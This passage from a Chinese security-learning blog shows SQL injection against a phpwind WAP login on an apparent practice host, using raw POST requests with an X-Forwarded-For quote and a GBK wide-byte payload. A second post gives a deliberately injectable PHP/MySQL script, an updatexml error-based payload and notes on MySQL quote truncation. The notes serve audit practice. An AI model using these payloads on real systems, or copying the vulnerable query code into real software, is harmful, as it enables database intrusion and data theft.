Cookie: __cfduid=d8fb6b08e91555ed4b01642b8b1d647321446699307; d6d9c_lastfid=0; d6d9c_lastvisit=0%091447055158%09%2Findex.php%3F; d6d9c_ol_offset=21631
X-Forwarded-For: '

db_wapifopen=1&prog=login&pwuser=admin&pwpwd=123456

得到的结果依旧是

构造的办法也是一样的。这里还可以有其他的办法。搜索到部分资料在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html。这里wap登录的也是存在注入的

POST /wap/index.php HTTP/1.1
Host: 42fcbe7be63be5032.jie.sangebaimao.com
Content-Length: 54
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://42fcbe7be63be5032.jie.sangebaimao.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://42fcbe7be63be5032.jie.sangebaimao.com/wap/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: __cfduid=d8fb6b08e91555ed4b01642b8b1d647321446699307; d6d9c_lastfid=0; d6d9c_lastvisit=0%091447055158%09%2Findex.php%3F; d6d9c_ol_offset=21631
X-Forwarded-For: 127.0.0.1

db_wapifopen=1&prog=login&pwuser=shit%cf'&pwpwd=123456

得到的结果是

一个MYSQL的单引号特性

发布时间:July 22, 2015 // 分类:工作日志,PHP,代码学习,生活琐事,代码审计 // No Comments

下午在学习审计的时候。想写一个sql注射的来练练手

<?php
$id=@$_REQUEST['id'];
if(!$conn = @mysql_connect("localhost","root","root"))
    die;
    //$getid = "SELECT first_name, last_name FROM dvwa.users WHERE user_id = '$id'";
    $getid = "SELECT first_name, last_name FROM dvwa.users WHERE user_id = ".$id;
    //echo $getid;
    $result = mysql_query($getid,$conn); // Removed 'or die' to suppres mysql errors
    //var_dump($result);
    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
    //利用@屏蔽了输出的错误信息。所以只能是盲注了
    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';
        echo $html;
        $i++;
    }
?>

然后用MYSQL监控的发现两个语句得到的结果是不一样的

然后各自丢到mysql里面去执行发现结果还真的不一样

后来darksn0w大大告诉我

MYSQL里面的引号里面,是常量。后面的非法字符会被舍弃。

赶脚和php的机制一样,又字符串朝整型转换的时候,会从前到后转换直到遇到第一个非法字符,保留前面的部分。

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1 and updatexml(1,concat(0x7e,(version())),0)'

实际就是:
 

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1'

神奇的单引号。是不是可以考虑用于过滤sql注入呢?